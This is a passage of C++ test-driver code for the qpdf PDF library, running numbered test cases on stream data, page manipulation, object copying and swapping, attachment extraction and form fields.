bool cleartext = false; if ((buf->getSize() > 9) && (strncmp(reinterpret_cast<char const*>(data), "<?xpacket", 9) == 0)) { cleartext = true; } delete buf; std::cout << "encrypted=" << (pdf.isEncrypted() ? 1 : 0) << "; cleartext=" << (cleartext ? 1 : 0) << std::endl; } else if (n == 7) { QPDFObjectHandle root = pdf.getRoot(); QPDFObjectHandle qstream = root.getKey("/QStream"); if (! qstream.isStream()) { throw std::logic_error("test 7 run on file with no QStream"); } qstream.replaceStreamData( "new data for stream\n", QPDFObjectHandle::newNull(), QPDFObjectHandle::newNull()); QPDFWriter w(pdf, "a.pdf"); w.setStaticID(true); w.setStreamDataMode(qpdf_s_preserve); w.write(); } else if (n == 8) { QPDFObjectHandle root = pdf.getRoot(); QPDFObjectHandle qstream = root.getKey("/QStream"); if (! qstream.isStream()) { throw std::logic_error("test 7 run on file with no QStream"); } Pl_Buffer p1("buffer"); Pl_Flate p2("compress", &p1, Pl_Flate::a_deflate); p2.write(QUtil::unsigned_char_pointer("new data for stream\n"), 20); // no null! p2.finish(); PointerHolder<Buffer> b = p1.getBuffer(); // This is a bogus way to use StreamDataProvider, but it does // adequately test its functionality. Provider* provider = new Provider(b); PointerHolder<QPDFObjectHandle::StreamDataProvider> p = provider; qstream.replaceStreamData( p, QPDFObjectHandle::newName("/FlateDecode"), QPDFObjectHandle::newNull()); provider->badLength(false); QPDFWriter w(pdf, "a.pdf"); w.setStaticID(true); // Linearize to force the provider to be called multiple times. w.setLinearization(true); w.setStreamDataMode(qpdf_s_preserve); w.write(); // Every time a provider pipes stream data, it has to provide // the same amount of data. provider->badLength(true); try { qstream.getStreamData(); std::cout << "oops -- getStreamData didn't throw" << std::endl; } catch (std::exception const& e) { std::cout << "exception: " << e.what() << std::endl; } } else if (n == 9) { QPDFObjectHandle root = pdf.getRoot(); // Explicitly exercise the Buffer version of newStream PointerHolder<Buffer> buf = new Buffer(20); unsigned char* bp = buf->getBuffer(); memcpy(bp, "data for new stream\n", 20); // no null! QPDFObjectHandle qstream = QPDFObjectHandle::newStream( &pdf, buf); QPDFObjectHandle rstream = QPDFObjectHandle::newStream(&pdf); try { rstream.getStreamData(); std::cout << "oops -- getStreamData didn't throw" << std::endl; } catch (std::logic_error const& e) { std::cout << "exception: " << e.what() << std::endl; } rstream.replaceStreamData( "data for other stream\n", QPDFObjectHandle::newNull(), QPDFObjectHandle::newNull()); root.replaceKey("/QStream", qstream); root.replaceKey("/RStream", rstream); QPDFWriter w(pdf, "a.pdf"); w.setStaticID(true); w.setStreamDataMode(qpdf_s_preserve); w.write(); } else if (n == 10) { std::vector<QPDFPageObjectHelper> pages = QPDFPageDocumentHelper(pdf).getAllPages(); QPDFPageObjectHelper& ph(pages.at(0)); ph.addPageContents( QPDFObjectHandle::newStream( &pdf, "BT /F1 12 Tf 72 620 Td (Baked) Tj ET\n"), true); ph.addPageContents( QPDFObjectHandle::newStream( &pdf, "BT /F1 18 Tf 72 520 Td (Mashed) Tj ET\n"), false); QPDFWriter w(pdf, "a.pdf"); w.setStaticID(true); w.setStreamDataMode(qpdf_s_preserve); w.write(); } else if (n == 11) { QPDFObjectHandle root = pdf.getRoot(); QPDFObjectHandle qstream = root.getKey("/QStream"); PointerHolder<Buffer> b1 = qstream.getStreamData(); PointerHolder<Buffer> b2 = qstream.getRawStreamData(); if ((b1->getSize() == 7) && (memcmp(b1->getBuffer(), "potato\n", 7) == 0)) { std::cout << "filtered stream data okay" << std::endl; } if ((b2->getSize() == 15) && (memcmp(b2->getBuffer(), "706F7461746F0A\n", 15) == 0)) { std::cout << "raw stream data okay" << std::endl; } } else if (n == 12) { pdf.setOutputStreams(0, 0); pdf.showLinearizationData(); } else if (n == 13) { std::ostringstream out; std::ostringstream err; pdf.setOutputStreams(&out, &err); pdf.showLinearizationData(); std::cout << "---output---" << std::endl << out.str() << "---error---" << std::endl << err.str(); } else if (n == 14) { // Exercise swap and replace. This test case is designed for // a specific file. std::vector<QPDFObjectHandle> pages = pdf.getAllPages(); if (pages.size() != 4) { throw std::logic_error("test " + QUtil::int_to_string(n) + " not called 4-page file"); } // Swap pages 2 and 3 pdf.swapObjects(pages.at(1).getObjGen(), pages.at(2).getObjGen()); // Replace object and swap objects QPDFObjectHandle trailer = pdf.getTrailer(); QPDFObjectHandle qdict = trailer.getKey("/QDict"); QPDFObjectHandle qarray = trailer.getKey("/QArray"); // Force qdict but not qarray to resolve qdict.isDictionary(); QPDFObjectHandle new_dict = QPDFObjectHandle::newDictionary(); new_dict.replaceKey("/NewDict", QPDFObjectHandle::newInteger(2)); try { // Do it wrong first... pdf.replaceObject(qdict.getObjGen(), qdict); } catch (std::logic_error const&) { std::cout << "caught logic error as expected" << std::endl; } pdf.replaceObject(qdict.getObjGen(), new_dict); // Now qdict still points to the old dictionary std::cout << "old dict: " << qdict.getKey("/Dict").getIntValue() << std::endl; // Swap dict and array pdf.swapObjects(qdict.getObjGen(), qarray.getObjGen()); // Now qarray will resolve to new object but qdict is still // the old object std::cout << "old dict: " << qdict.getKey("/Dict").getIntValue() << std::endl; std::cout << "new dict: " << qarray.getKey("/NewDict").getIntValue() << std::endl; // Reread qdict, now pointing to an array qdict = pdf.getObjectByObjGen(qdict.getObjGen()); std::cout << "swapped array: " << qdict.getArrayItem(0).getName() << std::endl; // Exercise getAsMap and getAsArray std::vector<QPDFObjectHandle> array_elements = qdict.getArrayAsVector(); std::map<std::string, QPDFObjectHandle> dict_items = qarray.getDictAsMap(); if ((array_elements.size() == 1) && (array_elements.at(0).getName() == "/Array") && (dict_items.size() == 1) && (dict_items["/NewDict"].getIntValue() == 2)) { std::cout << "array and dictionary contents are correct" << std::endl; } // Exercise writing to memory buffer for (int i = 0; i < 2; ++i) { QPDFWriter w(pdf); w.setOutputMemory(); // Exercise setOutputMemory with and without static ID w.setStaticID(i == 0); w.setStreamDataMode(qpdf_s_preserve); w.write(); Buffer* b = w.getBuffer(); std::string const filename = (i == 0 ? "a.pdf" : "b.pdf"); FILE* f = QUtil::safe_fopen(filename.c_str(), "wb"); fwrite(b->getBuffer(), b->getSize(), 1, f); fclose(f); delete b; } } else if (n == 15) { std::vector<QPDFObjectHandle> const& pages = pdf.getAllPages(); // Reference to original page numbers for this test case are // numbered from 0. // Remove pages from various places, checking to make sure // that our pages reference is getting updated. assert(pages.size() == 10); pdf.removePage(pages.back()); // original page 9 assert(pages.size() == 9); pdf.removePage(*pages.begin()); // original page 0 assert(pages.size() == 8); checkPageContents(pages.at(4), "Original page 5"); pdf.removePage(pages.at(4)); // original page 5 assert(pages.size() == 7); checkPageContents(pages.at(4), "Original page 6"); checkPageContents(pages.at(0), "Original page 1"); checkPageContents(pages.at(6), "Original page 8"); // Insert pages // Create some content streams. std::vector<QPDFObjectHandle> contents; contents.push_back(createPageContents(pdf, "New page 1")); contents.push_back(createPageContents(pdf, "New page 0")); contents.push_back(createPageContents(pdf, "New page 5")); contents.push_back(createPageContents(pdf, "New page 6")); contents.push_back(createPageContents(pdf, "New page 11")); contents.push_back(createPageContents(pdf, "New page 12")); // Create some page objects. Start with an existing // dictionary and modify it. Using the results of // getDictAsMap to create a new dictionary effectively creates // a shallow copy. QPDFObjectHandle page_template = pages.at(0); std::vector<QPDFObjectHandle> new_pages; for (std::vector<QPDFObjectHandle>::iterator iter = contents.begin(); iter != contents.end(); ++iter) { // We will retain indirect object references to other // indirect objects other than page content. QPDFObjectHandle page = page_template.shallowCopy(); page.replaceKey("/Contents", *iter); if (iter == contents.begin()) { // leave direct new_pages.push_back(page); } else { new_pages.push_back(pdf.makeIndirectObject(page)); } } // Now insert the pages pdf.addPage(new_pages.at(0), true); checkPageContents(pages.at(0), "New page 1"); pdf.addPageAt(new_pages.at(1), true, pages.at(0)); assert(pages.at(0).getObjGen() == new_pages.at(1).getObjGen()); pdf.addPageAt(new_pages.at(2), true, pages.at(5)); assert(pages.at(5).getObjGen() == new_pages.at(2).getObjGen()); pdf.addPageAt(new_pages.at(3), false, pages.at(5)); assert(pages.at(6).getObjGen() == new_pages.at(3).getObjGen()); assert(pages.size() == 11); pdf.addPage(new_pages.at(4), false); assert(pages.at(11).getObjGen() == new_pages.at(4).getObjGen()); pdf.addPageAt(new_pages.at(5), false, pages.back()); assert(pages.size() == 13); checkPageContents(pages.at(0), "New page 0"); checkPageContents(pages.at(1), "New page 1"); checkPageContents(pages.at(5), "New page 5"); checkPageContents(pages.at(6), "New page 6"); checkPageContents(pages.at(11), "New page 11"); checkPageContents(pages.at(12), "New page 12"); // Exercise writing to FILE* FILE* out = QUtil::safe_fopen("a.pdf", "wb"); QPDFWriter w(pdf, "FILE* a.pdf", out, true); w.setStaticID(true); w.setStreamDataMode(qpdf_s_preserve); w.write(); } else if (n == 16) { // Insert a page manually and then update the cache. std::vector<QPDFObjectHandle> const& all_pages = pdf.getAllPages(); QPDFObjectHandle contents = createPageContents(pdf, "New page 10"); QPDFObjectHandle page = pdf.makeIndirectObject( QPDFObjectHandle(all_pages.at(0)).shallowCopy()); page.replaceKey("/Contents", contents); // Insert the page manually. QPDFObjectHandle root = pdf.getRoot(); QPDFObjectHandle pages = root.getKey("/Pages"); QPDFObjectHandle kids = pages.getKey("/Kids"); page.replaceKey("/Parent", pages); pages.replaceKey( "/Count", QPDFObjectHandle::newInteger(1 + all_pages.size())); kids.appendItem(page); assert(all_pages.size() == 10); pdf.updateAllPagesCache(); assert(all_pages.size() == 11); assert(all_pages.back().getObjGen() == page.getObjGen()); QPDFWriter w(pdf, "a.pdf"); w.setStaticID(true); w.setStreamDataMode(qpdf_s_preserve); w.write(); } else if (n == 17) { // The input file to this test case has a duplicated page. QPDFObjectHandle page_kids = pdf.getRoot().getKey("/Pages").getKey("/Kids"); assert(page_kids.getArrayItem(0).getObjGen() == page_kids.getArrayItem(1).getObjGen()); std::vector<QPDFObjectHandle> const& pages = pdf.getAllPages(); assert(pages.size() == 3); assert(! (pages.at(0).getObjGen() == pages.at(1).getObjGen())); assert(QPDFObjectHandle(pages.at(0)).getKey("/Contents").getObjGen() == QPDFObjectHandle(pages.at(1)).getKey("/Contents").getObjGen()); pdf.removePage(pages.at(0)); assert(pages.size() == 2); PointerHolder<Buffer> b = QPDFObjectHandle(pages.at(0)). getKey("/Contents").getStreamData(); std::string contents = std::string( reinterpret_cast<char const*>(b->getBuffer()), b->getSize()); assert(contents.find("page 0") != std::string::npos); } else if (n == 18) { // Remove a page and re-insert it in the same file. std::vector<QPDFObjectHandle> const& pages = pdf.getAllPages(); // Remove pages from various places, checking to make sure // that our pages reference is getting updated. assert(pages.size() == 10); QPDFObjectHandle page5 = pages.at(5); pdf.removePage(page5); assert(pages.size() == 9); pdf.addPage(page5, false); assert(pages.size() == 10); assert(pages.back().getObjGen() == page5.getObjGen()); QPDFWriter w(pdf, "a.pdf"); w.setStaticID(true); w.setStreamDataMode(qpdf_s_preserve); w.write(); } else if (n == 19) { // Remove a page and re-insert it in the same file. QPDFPageDocumentHelper dh(pdf); std::vector<QPDFPageObjectHelper> pages = dh.getAllPages(); // Try to insert a page that's already there. dh.addPage(pages.at(5), false); std::cout << "you can't see this" << std::endl; } else if (n == 20) { // Shallow copy an array QPDFObjectHandle trailer = pdf.getTrailer(); QPDFObjectHandle qtest = trailer.getKey("/QTest"); QPDFObjectHandle copy = qtest.shallowCopy(); // Append shallow copy of a scalar copy.appendItem(trailer.getKey("/Size").shallowCopy()); trailer.replaceKey("/QTest2", copy); QPDFWriter w(pdf, "a.pdf"); w.setStaticID(true); w.setStreamDataMode(qpdf_s_preserve); w.write(); } else if (n == 21) { // Try to shallow copy a stream std::vector<QPDFObjectHandle> const& pages = pdf.getAllPages(); QPDFObjectHandle page = pages.at(0); QPDFObjectHandle contents = page.getKey("/Contents"); contents.shallowCopy(); std::cout << "you can't see this" << std::endl; } else if (n == 22) { // Try to remove a page we don't have QPDFPageDocumentHelper dh(pdf); std::vector<QPDFPageObjectHelper> pages = dh.getAllPages(); QPDFPageObjectHelper& page = pages.at(0); dh.removePage(page); dh.removePage(page); std::cout << "you can't see this" << std::endl; } else if (n == 23) { QPDFPageDocumentHelper dh(pdf); std::vector<QPDFPageObjectHelper> pages = dh.getAllPages(); dh.removePage(pages.back()); } else if (n == 24) { // Test behavior of reserved objects QPDFObjectHandle res1 = QPDFObjectHandle::newReserved(&pdf); QPDFObjectHandle res2 = QPDFObjectHandle::newReserved(&pdf); QPDFObjectHandle trailer = pdf.getTrailer(); trailer.replaceKey("Array1", res1); trailer.replaceKey("Array2", res2); QPDFObjectHandle array1 = QPDFObjectHandle::newArray(); QPDFObjectHandle array2 = QPDFObjectHandle::newArray(); array1.appendItem(res2); array1.appendItem(QPDFObjectHandle::newInteger(1)); array2.appendItem(res1); array2.appendItem(QPDFObjectHandle::newInteger(2)); // Make sure trying to ask questions about a reserved object // doesn't break it. if (res1.isArray()) { std::cout << "oops -- res1 is an array" << std::endl; } if (res1.isReserved()) { std::cout << "res1 is still reserved after checking if array" << std::endl; } pdf.replaceReserved(res1, array1); if (res1.isReserved()) { std::cout << "oops -- res1 is still reserved" << std::endl; } else { std::cout << "res1 is no longer reserved" << std::endl; } res1.assertArray(); std::cout << "res1 is an array" << std::endl; try { res2.unparseResolved(); std::cout << "oops -- didn't throw" << std::endl; } catch (std::logic_error const& e) { std::cout << "logic error: " << e.what() << std::endl; } try { res2.makeDirect(); std::cout << "oops -- didn't throw" << std::endl; } catch (std::logic_error const& e) { std::cout << "logic error: " << e.what() << std::endl; } pdf.replaceReserved(res2, array2); res2.assertArray(); std::cout << "res2 is an array" << std::endl; // Verify that the previously added reserved keys can be // dereferenced properly now int i1 = res1.getArrayItem(0).getArrayItem(1).getIntValue(); int i2 = res2.getArrayItem(0).getArrayItem(1).getIntValue(); if ((i1 == 2) && (i2 == 1)) { std::cout << "circular access and lazy resolution worked" << std::endl; } QPDFWriter w(pdf, "a.pdf"); w.setStaticID(true); w.setStreamDataMode(qpdf_s_preserve); w.write(); } else if (n == 25) { // The copy object tests are designed to work with a specific // file. Look at the test suite for the file, and look at the // file for comments about the file's structure. // Copy qtest without crossing page boundaries. Should get O1 // and O2 and their streams but not O3 or any other pages. assert(arg2 != 0); { // Make sure original PDF is out of scope when we write. QPDF oldpdf; oldpdf.processFile(arg2); QPDFObjectHandle qtest = oldpdf.getTrailer().getKey("/QTest"); pdf.getTrailer().replaceKey( "/QTest", pdf.copyForeignObject(qtest)); } QPDFWriter w(pdf, "a.pdf"); w.setStaticID(true); w.setStreamDataMode(qpdf_s_preserve); w.write(); } else if (n == 26) { // Copy the O3 page using addPage. Copy qtest without // crossing page boundaries. In addition to previous results, // should get page O3 but no other pages including the page // that O3 points to. Also, inherited object will have been // pushed down and will be preserved. { // Make sure original PDF is out of scope when we write. assert(arg2 != 0); QPDF oldpdf; oldpdf.processFile(arg2); QPDFObjectHandle qtest = oldpdf.getTrailer().getKey("/QTest"); QPDFObjectHandle O3 = qtest.getKey("/O3"); QPDFPageDocumentHelper(pdf).addPage(O3, false); pdf.getTrailer().replaceKey( "/QTest", pdf.copyForeignObject(qtest)); } QPDFWriter w(pdf, "a.pdf"); w.setStaticID(true); w.setStreamDataMode(qpdf_s_preserve); w.write(); } else if (n == 27) { // Copy O3 and the page O3 refers to before copying qtest. // Should get qtest plus only the O3 page and the page that O3 // points to. Inherited objects should be preserved. This test // also exercises copying from a stream that has a buffer and // a provider, including copying a provider multiple times. We // also exercise setImmediateCopyFrom. // Create a provider. The provider stays in scope. PointerHolder<QPDFObjectHandle::StreamDataProvider> p1; { // Local scope Pl_Buffer pl("buffer"); pl.write(QUtil::unsigned_char_pointer("new data for stream\n"), 20); // no null! pl.finish(); PointerHolder<Buffer> b = pl.getBuffer(); Provider* provider = new Provider(b); p1 = provider; } // Create a stream that uses a provider in empty1 and copy it // to empty2. It is copied from empty2 to the final pdf. QPDF empty1; empty1.emptyPDF(); QPDFObjectHandle s1 = QPDFObjectHandle::newStream(&empty1); s1.replaceStreamData( p1, QPDFObjectHandle::newNull(), QPDFObjectHandle::newNull()); QPDF empty2; empty2.emptyPDF(); s1 = empty2.copyForeignObject(s1); { // Make sure some source PDFs are out of scope when we // write. PointerHolder<QPDFObjectHandle::StreamDataProvider> p2; // Create another provider. This one will go out of scope // along with its containing qpdf, which has // setImmediateCopyFrom(true). { // Local scope Pl_Buffer pl("buffer"); pl.write(QUtil::unsigned_char_pointer( "more data for stream\n"), 21); // no null! pl.finish(); PointerHolder<Buffer> b = pl.getBuffer(); Provider* provider = new Provider(b); p2 = provider; } QPDF empty3; empty3.emptyPDF(); empty3.setImmediateCopyFrom(true); QPDFObjectHandle s3 = QPDFObjectHandle::newStream(&empty3); s3.replaceStreamData( p2, QPDFObjectHandle::newNull(), QPDFObjectHandle::newNull()); assert(arg2 != 0); QPDF oldpdf; oldpdf.processFile(arg2); QPDFObjectHandle qtest = oldpdf.getTrailer().getKey("/QTest"); QPDFObjectHandle O3 = qtest.getKey("/O3"); QPDFPageDocumentHelper dh(pdf); dh.addPage(O3.getKey("/OtherPage"), false); dh.addPage(O3, false); QPDFObjectHandle s2 = QPDFObjectHandle::newStream( &oldpdf, "potato\n"); pdf.getTrailer().replaceKey( "/QTest", pdf.copyForeignObject(qtest)); pdf.getTrailer().replaceKey( "/QTest2", QPDFObjectHandle::newArray()); pdf.getTrailer().getKey("/QTest2").appendItem( pdf.copyForeignObject(s1)); pdf.getTrailer().getKey("/QTest2").appendItem( pdf.copyForeignObject(s2)); pdf.getTrailer().getKey("/QTest2").appendItem( pdf.copyForeignObject(s3)); } QPDFWriter w(pdf, "a.pdf"); w.setStaticID(true); w.setStreamDataMode(qpdf_s_preserve); w.write(); } else if (n == 28) { // Copy foreign object errors try { pdf.copyForeignObject(pdf.getTrailer().getKey("/QTest")); std::cout << "oops -- didn't throw" << std::endl; } catch (std::logic_error const& e) { std::cout << "logic error: " << e.what() << std::endl; } try { pdf.copyForeignObject(QPDFObjectHandle::newInteger(1)); std::cout << "oops -- didn't throw" << std::endl; } catch (std::logic_error const& e) { std::cout << "logic error: " << e.what() << std::endl; } } else if (n == 29) { // Detect mixed objects in QPDFWriter assert(arg2 != 0); QPDF other; other.processFile(arg2); // Should use copyForeignObject instead other.getTrailer().replaceKey( "/QTest", pdf.getTrailer().getKey("/QTest")); try { QPDFWriter w(other, "a.pdf"); w.write(); std::cout << "oops -- didn't throw" << std::endl; } catch (std::logic_error const& e) { std::cout << "logic error: " << e.what() << std::endl; } } else if (n == 30) { assert(arg2 != 0); QPDF encrypted; encrypted.processFile(arg2, "user"); QPDFWriter w(pdf, "b.pdf"); w.setStreamDataMode(qpdf_s_preserve); w.copyEncryptionParameters(encrypted); w.write(); // Make sure the contents are actually the same QPDF final; final.processFile("b.pdf", "user"); std::vector<QPDFObjectHandle> pages = pdf.getAllPages(); std::string orig_contents = getPageContents(pages.at(0)); pages = final.getAllPages(); std::string new_contents = getPageContents(pages.at(0)); if (orig_contents != new_contents) { std::cout << "oops -- page contents don't match" << std::endl << "original:\n" << orig_contents << "new:\n" << new_contents << std::endl; } } else if (n == 31) { // Test object parsing from a string. The input file is not used. QPDFObjectHandle o1 = QPDFObjectHandle::parse( "[/name 16059 3.14159 false\n" " << /key true /other [ (string1) (string2) ] >> null]"); std::cout << o1.unparse() << std::endl; QPDFObjectHandle o2 = QPDFObjectHandle::parse(" 12345 \f "); assert(o2.isInteger() && (o2.getIntValue() == 12345)); try { QPDFObjectHandle::parse("[1 0 R]", "indirect test"); std::cout << "oops -- didn't throw" << std::endl; } catch (std::logic_error const& e) { std::cout << "logic error parsing indirect: " << e.what() << std::endl; } try { QPDFObjectHandle::parse("0 trailing", "trailing test"); std::cout << "oops -- didn't throw" << std::endl; } catch (std::runtime_error const& e) { std::cout << "trailing data: " << e.what() << std::endl; } } else if (n == 32) { // Extra header text char const* filenames[] = {"a.pdf", "b.pdf", "c.pdf", "d.pdf"}; for (int i = 0; i < 4; ++i) { bool linearized = ((i & 1) != 0); bool newline = ((i & 2) != 0); QPDFWriter w(pdf, filenames[i]); w.setStaticID(true); std::cout << "file: " << filenames[i] << std::endl << "linearized: " << (linearized ? "yes" : "no") << std::endl << "newline: " << (newline ? "yes" : "no") << std::endl; w.setLinearization(linearized); w.setExtraHeaderText(newline ? "%% Comment with newline\n" : "%% Comment\n% No newline"); w.write(); } } else if (n == 33) { // Test writing to a custom pipeline Pl_Buffer p("buffer"); QPDFWriter w(pdf); w.setStaticID(true); w.setOutputPipeline(&p); w.write(); PointerHolder<Buffer> b = p.getBuffer(); FILE* f = QUtil::safe_fopen("a.pdf", "wb"); fwrite(b->getBuffer(), b->getSize(), 1, f); fclose(f); } else if (n == 34) { // Look at Extensions dictionary std::cout << "version: " << pdf.getPDFVersion() << std::endl << "extension level: " << pdf.getExtensionLevel() << std::endl << pdf.getRoot().getKey("/Extensions").unparse() << std::endl; } else if (n == 35) { // Extract attachments std::map<std::string, PointerHolder<Buffer> > attachments; QPDFObjectHandle root = pdf.getRoot(); QPDFObjectHandle names = root.getKey("/Names"); QPDFObjectHandle embeddedFiles = names.getKey("/EmbeddedFiles"); names = embeddedFiles.getKey("/Names"); for (int i = 0; i < names.getArrayNItems(); ++i) { QPDFObjectHandle item = names.getArrayItem(i); if (item.isDictionary() && item.getKey("/Type").isName() && (item.getKey("/Type").getName() == "/Filespec") && item.getKey("/EF").isDictionary() && item.getKey("/EF").getKey("/F").isStream()) { std::string filename = item.getKey("/F").getStringValue(); QPDFObjectHandle stream = item.getKey("/EF").getKey("/F"); attachments[filename] = stream.getStreamData(); } } for (std::map<std::string, PointerHolder<Buffer> >::iterator iter = attachments.begin(); iter != attachments.end(); ++iter) { std::string const& filename = (*iter).first; std::string data = std::string( reinterpret_cast<char const*>((*iter).second->getBuffer()), (*iter).second->getSize()); bool is_binary = false; for (size_t i = 0; i < data.size(); ++i) { if ((data.at(i) < 0) || (data.at(i) > 126)) { is_binary = true; break; } } if (is_binary) { std::string t; for (size_t i = 0; i < std::min(data.size(), static_cast<size_t>(20)); ++i) { if ((data.at(i) >= 32) && (data.at(i) <= 126)) { t += data.at(i); } else { t += "."; } } t += " (" + QUtil::int_to_string(data.size()) + " bytes)"; data = t; } std::cout << filename << ":\n" << data << "--END--\n"; } } else if (n == 36) { // Extract raw unfilterable attachment QPDFObjectHandle root = pdf.getRoot(); QPDFObjectHandle names = root.getKey("/Names"); QPDFObjectHandle embeddedFiles = names.getKey("/EmbeddedFiles"); names = embeddedFiles.getKey("/Names"); for (int i = 0; i < names.getArrayNItems(); ++i) { QPDFObjectHandle item = names.getArrayItem(i); if (item.isDictionary() && item.getKey("/Type").isName() && (item.getKey("/Type").getName() == "/Filespec") && item.getKey("/EF").isDictionary() && item.getKey("/EF").getKey("/F").isStream() && (item.getKey("/F").getStringValue() == "attachment1.txt")) { std::string filename = item.getKey("/F").getStringValue(); QPDFObjectHandle stream = item.getKey("/EF").getKey("/F"); Pl_Buffer p1("buffer"); Pl_Flate p2("compress", &p1, Pl_Flate::a_inflate); stream.pipeStreamData(&p2, 0, qpdf_dl_none); PointerHolder<Buffer> buf = p1.getBuffer(); std::string data = std::string( reinterpret_cast<char const*>(buf->getBuffer()), buf->getSize()); std::cout << stream.getDict().unparse() << filename << ":\n" << data << "--END--\n"; } } } else if (n == 37) { // Parse content streams of all pages std::vector<QPDFPageObjectHelper> pages = QPDFPageDocumentHelper(pdf).getAllPages(); for (std::vector<QPDFPageObjectHelper>::iterator iter = pages.begin(); iter != pages.end(); ++iter) { QPDFPageObjectHelper& page(*iter); ParserCallbacks cb; page.parsePageContents(&cb); } } else if (n == 38) { // Designed for override-compressed-object.pdf QPDFObjectHandle qtest = pdf.getRoot().getKey("/QTest"); for (int i = 0; i < qtest.getArrayNItems(); ++i) { std::cout << qtest.getArrayItem(i).unparseResolved() << std::endl; } } else if (n == 39) { // Display image filter and color set for each image on each page std::vector<QPDFPageObjectHelper> pages = QPDFPageDocumentHelper(pdf).getAllPages(); int pageno = 0; for (std::vector<QPDFPageObjectHelper>::iterator p_iter = pages.begin(); p_iter != pages.end(); ++p_iter) { std::cout << "page " << ++pageno << std::endl; std::map<std::string, QPDFObjectHandle> images = (*p_iter).getPageImages(); for (std::map<std::string, QPDFObjectHandle>::iterator i_iter = images.begin(); i_iter != images.end(); ++i_iter) { QPDFObjectHandle image_dict = (*i_iter).second.getDict(); std::cout << "filter: " << image_dict.getKey("/Filter").unparseResolved() << ", color space: " << image_dict.getKey("/ColorSpace").unparseResolved() << std::endl; } } } else if (n == 40) { // Write PCLm. This requires specially crafted PDF files. This // feature was implemented by Sahil Arora // <sahilarora.535@gmail.com> as part of a Google Summer of // Code project in 2017. assert(arg2 != 0); QPDFWriter w(pdf, arg2); w.setPCLm(true); w.setStaticID(true); w.write(); } else if (n == 41) { // Apply a token filter. This test case is crafted to work // with coalesce.pdf. std::vector<QPDFPageObjectHelper> pages = QPDFPageDocumentHelper(pdf).getAllPages(); for (std::vector<QPDFPageObjectHelper>::iterator iter = pages.begin(); iter != pages.end(); ++iter) { (*iter).addContentTokenFilter(new TokenFilter); } QPDFWriter w(pdf, "a.pdf"); w.setQDFMode(true); w.setStaticID(true); w.write(); } else if (n == 42) { // Access objects as wrong type. This test case is crafted to // work with object-types.pdf. QPDFObjectHandle qtest = pdf.getTrailer().getKey("/QTest"); QPDFObjectHandle array = qtest.getKey("/Dictionary").getKey("/Key2"); QPDFObjectHandle dictionary = qtest.getKey("/Dictionary"); QPDFObjectHandle integer = qtest.getKey("/Integer"); QPDFObjectHandle null = QPDFObjectHandle::newNull(); assert(array.isArray()); assert(dictionary.isDictionary()); assert("" == qtest.getStringValue()); array.getArrayItem(-1).assertNull(); array.getArrayItem(16059).assertNull(); integer.getArrayItem(0).assertNull(); integer.appendItem(null); array.eraseItem(-1); array.eraseItem(16059); integer.eraseItem(0); integer.insertItem(0, null); integer.setArrayFromVector(std::vector<QPDFObjectHandle>()); integer.setArrayItem(0, null); assert(0 == integer.getArrayNItems()); assert(integer.getArrayAsVector().empty()); assert(false == integer.getBoolValue()); assert(integer.getDictAsMap().empty()); assert(integer.getKeys().empty()); assert(false == integer.hasKey("/Potato")); integer.removeKey("/Potato"); integer.replaceOrRemoveKey("/Potato", null); integer.replaceOrRemoveKey("/Potato", QPDFObjectHandle::newInteger(1)); integer.replaceKey("/Potato", QPDFObjectHandle::newInteger(1)); qtest.getKey("/Integer").getKey("/Potato"); assert(integer.getInlineImageValue().empty()); assert(0 == dictionary.getIntValue()); assert("/QPDFFakeName" == integer.getName()); assert("QPDFFAKE" == integer.getOperatorValue()); assert("0.0" == dictionary.getRealValue()); assert(integer.getStringValue().empty()); assert(integer.getUTF8Value().empty()); assert(0.0 == dictionary.getNumericValue()); // Make sure error messages are okay for nested values std::cerr << "One error\n"; assert(array.getArrayItem(0).getStringValue().empty()); std::cerr << "One error\n"; assert(dictionary.getKey("/Quack").getStringValue().empty()); assert(array.getArrayItem(1).isDictionary()); assert(array.getArrayItem(1).getKey("/K").isArray()); assert(array.getArrayItem(1).getKey("/K").getArrayItem(0).isName()); assert("/V" == array.getArrayItem(1).getKey("/K").getArrayItem(0).getName()); std::cerr << "Two errors\n"; assert(array.getArrayItem(16059).getStringValue().empty()); std::cerr << "One error\n"; array.getArrayItem(1).getKey("/K").getArrayItem(0).getStringValue(); // Stream dictionary QPDFObjectHandle page = pdf.getAllPages().at(0); assert("/QPDFFakeName" == page.getKey("/Contents").getDict().getKey("/Potato").getName()); // Rectangles QPDFObjectHandle::Rectangle r0 = integer.getArrayAsRectangle(); assert((r0.llx == 0) && (r0.lly == 0) && (r0.urx == 0) && (r0.ury == 0)); QPDFObjectHandle rect = QPDFObjectHandle::newFromRectangle( QPDFObjectHandle::Rectangle(1.2, 3.4, 5.6, 7.8)); QPDFObjectHandle::Rectangle r1 = rect.getArrayAsRectangle(); assert((r1.llx > 1.19) && (r1.llx < 1.21) && (r1.lly > 3.39) && (r1.lly < 3.41) && (r1.urx > 5.59) && (r1.urx < 5.61) && (r1.ury > 7.79) && (r1.ury < 7.81)); } else if (n == 43) { // Forms QPDFAcroFormDocumentHelper afdh(pdf); if (! afdh.hasAcroForm()) { std::cout << "no forms\n"; return; } std::cout << "iterating over form fields\n"; std::vector<QPDFFormFieldObjectHelper> form_fields = afdh.getFormFields(); for (std::vector<QPDFFormFieldObjectHelper>::iterator iter = form_fields.begin(); iter != form_fields.end(); ++iter) { QPDFFormFieldObjectHelper ffh(*iter); std::cout << "Field: " << ffh.getObjectHandle().unparse() << std::endl; QPDFFormFieldObjectHelper node = ffh; while (! node.isNull()) { QPDFFormFieldObjectHelper parent(node.getParent()); std::cout << " Parent: " << (parent.isNull() ? std::string("none") : parent.getObjectHandle().unparse()) << std::endl; node = parent; } std::cout << " Fully qualified name: " << ffh.getFullyQualifiedName() << std::endl; std::cout << " Partial name: " << ffh.getPartialName() << std::endl; std::cout << " Alternative name: " << ffh.getAlternativeName() << std::endl; std::cout << " Mapping name: " << ffh.getMappingName() << std::endl; std::cout << " Field type: " << ffh.getFieldType() << std::endl; std::cout << " Value: " << ffh.getValue().unparse() << std::endl; std::cout << " Value as string: " << ffh.getValueAsString() << std::endl; std::cout << " Default value: " << ffh.getDefaultValue().unparse() << std::endl; std::cout << " Default value as string: " << ffh.getDefaultValueAsString() << std::endl; std::cout << " Default appearance: " << ffh.getDefaultAppearance() << std::endl; std::cout << " Quadding: " << ffh.getQuadding() << std::endl; std::vector<QPDFAnnotationObjectHelper> annotations = afdh.getAnnotationsForField(ffh); for (std::vector<QPDFAnnotationObjectHelper>::iterator i2 = annotations.begin(); i2 != annotations.end(); ++i2) { std::cout << " Annotation: " << (*i2).getObjectHandle().unparse() << std::endl; } } 